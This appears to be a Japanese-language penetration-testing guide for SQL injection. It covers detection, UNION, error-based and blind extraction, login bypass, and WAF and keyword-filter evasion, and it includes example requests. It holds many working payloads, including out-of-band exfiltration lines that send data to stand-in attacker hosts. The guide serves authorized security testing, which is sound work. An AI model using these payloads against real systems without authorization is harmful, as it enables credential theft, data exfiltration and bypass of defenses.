SQL Injection Testing

目的

Webアプリケーションに対して包括的なSQLインジェクション脆弱性評価を実施し、データベースセキュリティの欠陥を特定し、悪用テクニックを実証し、入力サニタイズメカニズムを検証します。このスキルにより、インバンド、ブラインド、アウトオブバンド攻撃ベクトル全体にわたるSQLインジェクション脆弱性の体系的な検出と悪用が可能になり、アプリケーションのセキュリティポスチャーを評価できます。

入力 / 前提条件

必要なアクセス権限

• インジェクト可能なパラメータを持つターゲットWebアプリケーションURL
• リクエスト操作用のBurp Suiteまたはそれに相当するプロキシツール
• 自動化された悪用のためのSQLMap インストール
• デベロッパーツールが有効なブラウザ

技術的要件

• SQL クエリ構文の理解（MySQL、MSSQL、PostgreSQL、Oracle）
• HTTPリクエスト/レスポンスサイクルの知識
• データベーススキーマと構造への精通性
• テストレポートの書き込み権限

法的前提条件

• ペネトレーションテストの書面による認可
• ターゲットURL とパラメータを含む定義されたスコープ
• 確立された緊急連絡手順
• データ処理契約の設置

出力 / 成果物

主要な出力

• 重大度等級付きのSQLインジェクション脆弱性レポート
• 抽出されたデータベーススキーマおよびテーブル構造
• 認証バイパスのプルーフオブコンセプト実証
• コード例を含む修復推奨事項

エビデンスアーティファクト

• 成功したインジェクションのスクリーンショット
• HTTPリクエスト/レスポンスログ
• データベースダンプ（サニタイズ済み）
• ペイロード文書

コアワークフロー

フェーズ1: 検出と偵察

インジェクト可能なパラメータの特定

データベースクエリと相互作用するユーザー制御入力フィールドを検出します：

# 一般的なインジェクションポイント
- URLパラメータ: ?id=1, ?user=admin, ?category=books
- フォームフィールド: username, password, search, comments
- Cookie値: session_id, user_preference
- HTTPヘッダ: User-Agent, Referer, X-Forwarded-For

基本的な脆弱性指標のテスト

特殊文字を挿入してエラーレスポンスをトリガーします：

-- 単一引用符テスト
'

-- 二重引用符テスト
"

-- コメントシーケンス
--
#
/**/

-- クエリスタッキング用のセミコロン
;

-- 括弧
)

アプリケーションのレスポンスを監視して確認：

• クエリ構造を明かすデータベースエラーメッセージ
• 予期しないアプリケーション動作の変化
• HTTP 500内部サーバーエラー
• 修正されたレスポンスコンテンツまたは長さ

ロジックテストペイロード

ブール値ベースの脆弱性存在を検証：

-- 真条件テスト
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 偽条件テスト  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

真と偽の条件間のレスポンスを比較して、インジェクション機能を確認します。

フェーズ2: 悪用テクニック

UNION ベース抽出

攻撃者制御の SELECT ステートメントを元のクエリと結合：

-- カラム数の決定
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- エラーが発生するまで続行

-- 表示可能なカラムの検出
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- データ抽出
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

エラーベース抽出

情報をリークするデータベースエラーを強制：

-- MSSQLバージョン抽出
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQLの XPATH 経由抽出
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL キャストエラー
1' AND 1=CAST((SELECT version()) AS int)--

ブール値ベースのブラインド抽出

アプリケーション動作の変化を通じてデータを推測：

-- 文字抽出
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件付きレスポンス
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

時間ベースのブラインド抽出

データベーススリープ関数を確認に使用：

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

アウトオブバンド（OOB）抽出

外部チャネルを通じてデータを流出：

-- MSSQL DNSオーバーフロー
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNSオーバーフロー
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTPリクエスト
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

フェーズ3: 認証バイパス

ログインフォームの悪用

認証情報検証をバイパスするペイロードを作成：

-- クラシックバイパス
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- ユーザー名列挙
admin' AND '1'='1
admin' AND '1'='2

クエリ変換の例：

-- 元のクエリ
SELECT * FROM users WHERE username='input' AND password='input'

-- インジェクション（ユーザー名: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- パスワードチェックはコメント経由でバイパスされる

フェーズ4: フィルタバイパステクニック

文字エンコーディングバイパス

特殊文字がブロックされている場合：

-- URL エンコーディング
%27 (単一引用符)
%22 (二重引用符)
%23 (ハッシュ)

-- ダブルURL エンコーディング
%2527 (単一引用符)

-- Unicode代替
U+0027 (アポストロフィ)
U+02B9 (修飾子文字プライム)

-- 16進数文字列（MySQL）
SELECT * FROM users WHERE name=0x61646D696E  -- 16進数での'admin'

ホワイトスペースバイパス

ブロックされたスペースを代替：

-- コメント代替
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- 代替ホワイトスペース
SELECT%09username%09FROM%09users  -- タブ文字
SELECT%0Ausername%0AFROM%0Ausers  -- 改行

キーワードバイパス

ブラックリストされたSQLキーワードを回避：

-- 大文字小文字の変更
SeLeCt, sElEcT, SELECT

-- インラインコメント
SEL/*bypass*/ECT
UN/*bypass*/ION

-- ダブル記述（フィルタが1回削除する場合）
SELSELECTECT → SELECT
UNUNIONION → UNION

-- ヌルバイトインジェクション
%00SELECT
SEL%00ECT

クイックリファレンス

検出テストシーケンス

1. ' を挿入 → エラーを確認
2. " を挿入 → エラーを確認
3. 試す: OR 1=1-- → 動作変化を確認
4. 試す: AND 1=2-- → 動作変化を確認
5. 試す: ' WAITFOR DELAY '0:0:5'-- → 遅延を確認

データベースフィンガープリント

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema クエリ

-- MySQLおよびMSSQLのテーブル列挙
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- カラム列挙
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle等価物
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

一般的なペイロードクイックリスト

目的	ペイロード
基本テスト	' または "
ブール値真	OR 1=1--
ブール値偽	AND 1=2--
コメント（MySQL）	# または --
コメント（MSSQL）	--
UNION プローブ	UNION SELECT NULL--
時間遅延	AND SLEEP(5)--
認証バイパス	' OR '1'='1

制約とガードレール

運用上の境界

• 明示的な認可なしに破壊的なクエリ（DROP、DELETE、TRUNCATE）を実行しないこと
• データ抽出をプルーフオブコンセプト量に制限
• リソース集約的なクエリによるサービス拒否を回避
• 実ユーザーデータを持つ本番データベースを検出したら直ちに停止

技術的制限

• WAF/IPSは一般的なペイロードをブロックする場合があり、回避テクニックが必要
• パラメータ化クエリは標準インジェクションを防止
• 一部のブラインドインジェクションには大量のリクエストが必要（レート制限の懸念）
• 2次インジェクションはデータフローの理解が必要

法的かつ倫理的要件

• テスト前に書面によるスコープ契約が存在する必要があります
• 抽出されたすべてのデータを文書化し、データ保護要件に従って処理
• 合意されたチャネルを通じて重大な脆弱性を直ちに報告
• スコープ要件を超えてデータにアクセスしないこと

例

例1: 電子商取引製品ページSQLi

シナリオ: IDパラメータを持つ製品表示ページのテスト

初期リクエスト:

GET /product.php?id=5 HTTP/1.1

検出テスト:

GET /product.php?id=5' HTTP/1.1
レスポンス: MySQLエラー - '''の近くの構文エラー 

カラム列挙:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
レスポンス: 通常
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
レスポンス: エラー（4カラムが確認された）

データ抽出:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
レスポンス: 管理者認証情報を表示

例2: ブライン時間ベース抽出

シナリオ: 目に見える出力なし、ブラインドインジェクションのテスト

脆弱性を確認:

id=5' AND SLEEP(5)-- 
-- レスポンスが5秒遅延（脆弱性確認）

データベース名の長さを抽出:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- 遅延によりデータベース名が8文字であることを確認

文字を抽出:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- 文字を反復処理して抽出: 'appstore'

例3: ログインバイパス

ターゲット: 管理者ログインフォーム

標準ログインクエリ:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

インジェクションペイロード:

ユーザー名: administrator'--
パスワード: anything

結果のクエリ:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

結果: パスワードチェックがバイパスされ、管理者として認証されます。

トラブルシューティング

エラーメッセージが表示されない

• アプリケーションは一般的なエラー処理を使用
• ブラインドインジェクションテクニック（ブール値または時間ベース）に切り替え
• コンテンツではなくレスポンス長の違いを監視

UNION インジェクションが失敗

• カラム数が正確でない可能性 → ORDER BY でテスト
• データ型が不一致の可能性 → まずすべてのカラムでNULLを使用
• 結果が表示されない可能性 → インジェクト可能なカラム位置を検出

WAFがリクエストをブロック

• エンコーディングテクニック（URL、16進数、Unicode）を使用
• キーワード内にインラインコメントを挿入
• 同じ操作の代替構文を試す
• 複数のパラメータ間でペイロードをフラグメント化

ペイロードが実行されない

• データベースタイプの正確なコメント構文を確認
• アプリケーションがパラメータ化クエリを使用するかどうかを確認
• 入力がSQLクエリに到達することを確認（クライアント側フィルタリングではない）
• 異なるインジェクションポイント（ヘッダ、Cookie）をテスト

時間ベースインジェクションが一貫しない

• ネットワーク遅延が誤検知を引き起こす可能性
• 明確にするために長い遅延（10秒以上）を使用
• パターンを確認するために複数のテストを実行
• サーバー側キャッシング効果を考慮